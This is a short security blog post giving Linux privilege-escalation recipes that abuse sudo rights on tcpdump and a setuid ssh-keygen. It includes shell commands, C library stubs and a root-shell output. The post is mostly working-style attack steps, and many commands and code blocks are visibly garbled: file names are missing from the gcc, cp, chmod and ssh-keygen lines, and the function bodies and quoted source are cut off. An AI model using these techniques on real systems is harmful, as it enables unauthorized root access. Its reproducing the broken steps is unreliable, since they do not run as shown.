A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

Neat privilege escalation tricks


Improvise, adapt and overcome!

A very well-known privileeg escalation trick involving tcpdump with sudo privileges (very often found in large IT departments!) relies on executing a script instead of a postrotate command as so1:

$ COMMAND='id'
$ TF=$(mktemp)
$ echo "$COMMAND" > $TF
$ chmod +x $TF
$ tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF

This is all nice and good but all defenders are already looking for the -z command, and this trick is pretty easy to spot. But there’s another privilege escalation technique, which also abuses the sudo privileges assigned to tcpdump, which works as follows:

  • Abuse tcpdump privileges to create a writable file, in a privileged location:
    $ sudo tcpdump -i eth0 -w /lib/x86_64-linux-gnu/ -Z $USER
  • Compile a dynamic library (code below):
    $ gcc -fPIC -shared -o shell.c -nostartfiles
  • Overwrite the file created in the previous step, and make it suid/sgid:
    $ cp /lib/x86_64-linux-gnu/
    $ chmod 6755 /lib/x86_64-linux-gnu/
  • Profit!
    $ sudo tcpdump
    # whoami

Source code for the POC library:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {

Another interesting situation I recently run into is ssh-keygen binary with sudo privileges:

$ ls -al `which ssh-keygen`
-rwsr-xr-x 1 root root 477488 Aug  4 22:02 /usr/bin/ssh-keygen

There’s an entry on GTFOBins for this2, which hints at creating a shared library and load it via the -D parameter. This is the tricky part however. If we simply compile the library and try to force ssh-keygen to load it, we get the following error:

$ gcc -fPIC -shared -o shell.c -nostartfiles
$ ssh-keygen -D does not contain expected string C_GetFunctionList
provider is not a PKCS11 library
cannot read public key from pkcs11

We can trace the error to the ssh-pkcs11.c source file:

if (pkcs11_provider_lookup(provider_id) != NULL) {
	error("provider already registered: %s", provider_id);
	goto fail;
/* open shared pkcs11-libarary */
if ((handle = dlopen(provider_id, RTLD_NOW)) == NULL) {
	error("dlopen %s failed: %s", provider_id, dlerror());
	goto fail;
if ((getfunctionlist = dlsym(handle, "C_GetFunctionList")) == NULL) {
	error("dlsym(C_GetFunctionList) failed: %s", dlerror());
	goto fail;
p = xcalloc(1, sizeof(*p));
p->name = xstrdup(provider_id);
p->handle = handle;
/* setup the pkcs11 callbacks */
if ((rv = (*getfunctionlist)(&f)) != CKR_OK) {
	error("C_GetFunctionList failed: %lu", rv);
	goto fail;

So our library needs to contain a function called C_GetFunctionList which accepts a pointer as its only argument and returns an int. We change the function definition as follows:

int C_GetFunctionList(int param)

Recompile and profit:

$ gcc -c -o shell.o shell.c -Wall -Werror -fpic -I.
$ gcc -shared -o shell.o
$ ssh-keygen -D ./
# id
uid=0(root) gid=0(root) groups=0(root),1000(kali)


  1. GTFOBins - tcpdump
  2. GTFOBins - ssh-keygen